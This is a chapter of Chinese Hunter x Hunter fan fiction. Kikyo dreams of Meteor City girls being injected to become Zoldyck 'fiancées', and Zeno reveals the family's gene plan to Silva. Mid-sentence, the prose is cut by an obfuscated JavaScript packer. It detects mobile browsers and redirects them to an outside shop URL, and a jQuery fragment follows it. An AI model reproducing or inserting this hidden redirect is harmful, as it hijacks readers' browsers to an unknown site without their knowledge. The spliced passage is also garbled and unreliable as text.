基裘已经很久没有做过梦了,这次难得做了一场梦,还非常幸运的梦见了她的孩童时期。
梦的基调是让人感到温馨的黄色,就像一张张因为时光泛黄的老照片,从记忆的深处被翻出,似幻似真的往事在基裘的周身徐徐展开。
在梦里,她还是无忧无虑的孩子,虽然每天都需要去垃圾堆里捡物资,但她是快乐的。
她最喜欢和小伙伴莲可一起玩打扮娃娃的游戏,那个塑料娃娃是她们共同的秘密。
她们把娃娃藏匿在堆放陈年垃圾的隐秘角落里,那里的垃圾被好几代流星街人翻找过,已经不会再有人愿意往那跑了,因为那里没有任何有价值的垃圾,除非有新的垃圾被投放在这儿,为这个被人遗忘的角落铺上一层新衣。
基裘和莲可就这样在闲暇时一起猫在垃圾堆里玩耍,拿好看的包装袋给娃娃做裙子,打扮娃娃。
食物越来越少,神父脸上的愁容越来越深,基裘的肚子也一天比一天瘪,但是作为被大人们共同养育的希望,流星街的小孩子还是可以通过劳动获得勉强够果腹的食物。
与之相反的是已经离开育幼院的大孩子们,他们和成人一样,每天只能靠运气吃饭,在垃圾堆里捡到什么吃什么,没有捡到食物就拿有用的东西跟有多余食物的人做交换。
空投在流星街的垃圾里的食物越来越少,淡淡的绝望罩住了流星街人——绝望也是需要力气的。
那几年流星街应该过得非常难,但不知道为什么,基裘对那几年印象不太深,她隐隐约约还记得,最难的那段时间流星街的树皮都被饥饿的人扒光了。
虫子、鸟、老鼠……在流星街唯一的底线就是人类,其余能填饱肚子的都是抢手货。
直到有一天,教堂里出现了一批可以救命的应急食品,流星街里终于重新有了欢笑声。
捐赠物资的人并非是无偿的,好在他们提出的条件是可以被接受的。
五岁以上、十岁以下的小女孩被集中到了一起,神父愧疚地看着她们,久久没能出声。
大家都意识到了什么,但没有孩子会对此有怨言:如果没有流星街的大家,当饥荒来临时,最先死去的一定会是手无缚鸡之力的孩童,是流星街的大家给了她们新的生命。
针管把冰冷的药液推入血管之中,往日被养母们反复叮嘱要远离的危险垃圾就这样扎在了她们的胳膊上,终究还是有孩子哽咽出声。
好在整个过程很快,离注入药品到出现排斥反应总用时不超过20分钟,大批的小孩发着高烧被抱出去后,门又合上了。
第二管、第三管……足足九管针剂,每注射一管就淘汰掉一批孩子,迷迷糊糊间,她听到莲可哭了。
“她们会死吗?”
小基裘不知道,只能抱住小莲可尽可能的安抚她,给她一点有限的热量。
但大基裘知道,揍敌客为此行准备了足够的药物,被筛掉的孩子都得到了妥善的治疗。
她想抱住这两个相互依偎在一起的孩子,为小莲可擦掉泪痕,摸摸小基裘的头,告诉她你可以哭泣,不必勉强自己。
可惜终究只是一场幻梦,她们小小的身影碎在基裘的臂膀里,等重新凝聚起来后,两人已经换了一副装扮,她们现在的身份是“未婚妻”。
啊。基裘的神情有些恍惚,看着屋子里的内饰有些出神。
果然是一场美梦啊,略过了恐惧,抹掉了伤痛,只留下最美好的部分裹在表面,尝起来是甜的,嚼碎表层的糖衣后却酸的令人落泪。
但她心甘情愿沉溺在美到不真实的梦里,她的意识开始往脑海中的更深处飘去,时间、人物、地点……一切的一切都已就绪,她已经迫不及待了。
想见莲可的话随时都可以坐飞艇去流星街,但想要见到姐姐的话只有做梦这一条途径。
和记忆中一样鲜艳的红发闯入基裘盛着哀伤的眸子,刺痛了她的眼睛。
“希娅姐姐……”
————
把两个好奇心旺盛的孩子丢出去,“啪”一声关上门的桀诺背着手转身直面自己叛逆的好大儿。
“真棘手啊……”桀诺支起膝盖坐到榻榻米上,看着绷紧脸的席巴露出了牙疼的表情。
“父亲,你既然阻止我去流星街深入调查揍敌客当年在流星街的布局,就应该明白我到底想知道什么吧。”席巴俯身将沉睡的基裘放在沙发上,曲卷的银发和顺直的黑色长发随着他的动作相融在一起,最后又分离。
“哼。”桀诺被气得直瞪眼,胡须都吹起来了:“当年你刚遇到基裘的时候怎么不问我?”
席巴抿着嘴,看着桀诺桀诺不吭声。
桀诺拿手指点了点席巴,说:“你啊你。”
“算了。”桀诺捧起茶杯,吹掉浮沫,浅呷一口。
“如果当年你来问我,我也只能告诉你,你必须娶流星街的姑娘,没有为什么。”
茶杯被放在茶几上,发出了一声清脆的声响。
“但现在不一样了。”桀诺眼神复杂,看着席巴叹息道:“你现在已经是个父亲了,你从出生起就背负的使命也已经完成大半了,作为家主你有权知道一切。”
席巴对此不置一词,他明白,“作为家主”才是桀诺这句话的核心,如果他不是家主,他就只能被动的接受一切。
“你的婚姻是揍敌客几代人谋划的成果,揍敌客需要你和基裘共同孕育的子嗣……也就是说,在很久之前基裘就是你的‘未婚妻’之一。
往上追溯血脉的起源,在揍敌客血统中占比不算很少的魔兽血脉一直在不停歇地修改着揍敌客先祖的部分基因,好在这种改变是良性的,揍敌客们一直都享受着魔兽血脉带来的益处,我们的先祖比普通人的潜力更强、上限更高,这使得他们能走得更远。
但是这种改变是有代价,某一代揍敌客突然惊觉,我们的基因链正在面临着某一天突然崩溃的可能性,揍敌客从来都没有能将基因稳定遗传下去的女孩降生。
纵使遗传下来的基因一代比一代强,揍敌客一眼就能看到尽头的泯灭结局就像一把始终高悬
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17036280|186767||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
在头顶的达摩克利斯之剑,没有人知道它什么时候落下,但所有人都明白它终有坠剑的那天。
好在揍敌客走得够深、够远也够高,既然我们所处的世界无法解决掉这个问题,就去未被人类踏足的世界找方法。”
桀诺看向某个位置,眼神悠长,像是穿过了时光的洪流,亲眼目睹了祖先登上那片大陆——对人类来说,黑暗大陆就是那个未知的世界。
“终于,他们找到自救的方法了:‘如果无法阻止基因即使会崩溃也要变强的本能,那为什么不加固它呢?’他们决定给自己的基因融入更强、更稳定的基因片段,在他们理想中的终极状态是即便已成枯骨,DNA仍在不灭的另类永生状态。”
“他们找到了满足所有条件的生物。”席巴笃定道:“还把那种生物的基因注入到了流星街的孩子身上为揍敌客制造‘未婚妻’。”
桀诺低头喝茶。
该说的他都说了,接下来要怎么做就看席巴自己了。
“本来已经灭活的基因把闯入宿主体内的附着念的藤蔓当食物吞噬掉了吗……”席巴闭着眼睛将他的额头贴上了基裘的额头。
桀诺的眼睛里带着一抹驱不散的凝重:那个生物会因此醒来吗?
一切都还是个未知数。
“我和基裘结合生出来的孩子会分割那个生物的基因,再多生几个孩子会让那东西彻底从基裘的体内消失吗?”
“或许。”
“嗯……我知道了。”
————
被桀诺拎出来的伊尔迷和霁爬在门上想听墙角,奈何揍敌客宅邸里的门质量太好了,两人什么都听不到。
“失策了。”伊尔迷站直身体理了理被捏出褶皱的衣领,遗憾地说:“看来是只有大人们才能有资格了解的内幕。”他还以为爷爷和爸爸能让他跟着进入房间是容许自己旁听的意思,没想到只是没顾的上管他。
看来长子的身份还是不够,他要努力接单,多照顾弟弟,早日把继承人的身份落到实处。
“流星街——”霁脑子一转,惊喜道:“我可以回去问莲可老师啊!”
林霁也反应过来了,指挥道:“好机会,趁着枯枯戮山内部混乱,我们可以溜了!”
“啊!”伊尔迷以拳击掌,恍然大悟道:“霁是流星街人吗,那我们完全可以从流星街入手。”虽然他并不知道爸爸和爷爷在打什么玄机,但要查揍敌客在流星街上的动作那可不要太容易了。
外界一直以为揍敌客给流星街捐赠物资和揍敌客在世界各地投资孤儿院的行为没什么区别,但是对于他这个早早就通过揍敌客当家主母接触到揍敌客财务报表的长子来说,区别可大着呢。
从流星街入手或许真的可行……想到这儿,伊尔迷变得愉悦起来。
至于其他人会不会阻止他?伊尔迷根本就没有想过这个可能性。
在他看来,揍敌客的一切迟早都是他的。
于是伊尔迷抓住了正准备溜走的霁的胳膊,理直气壮道:“带我一起去。”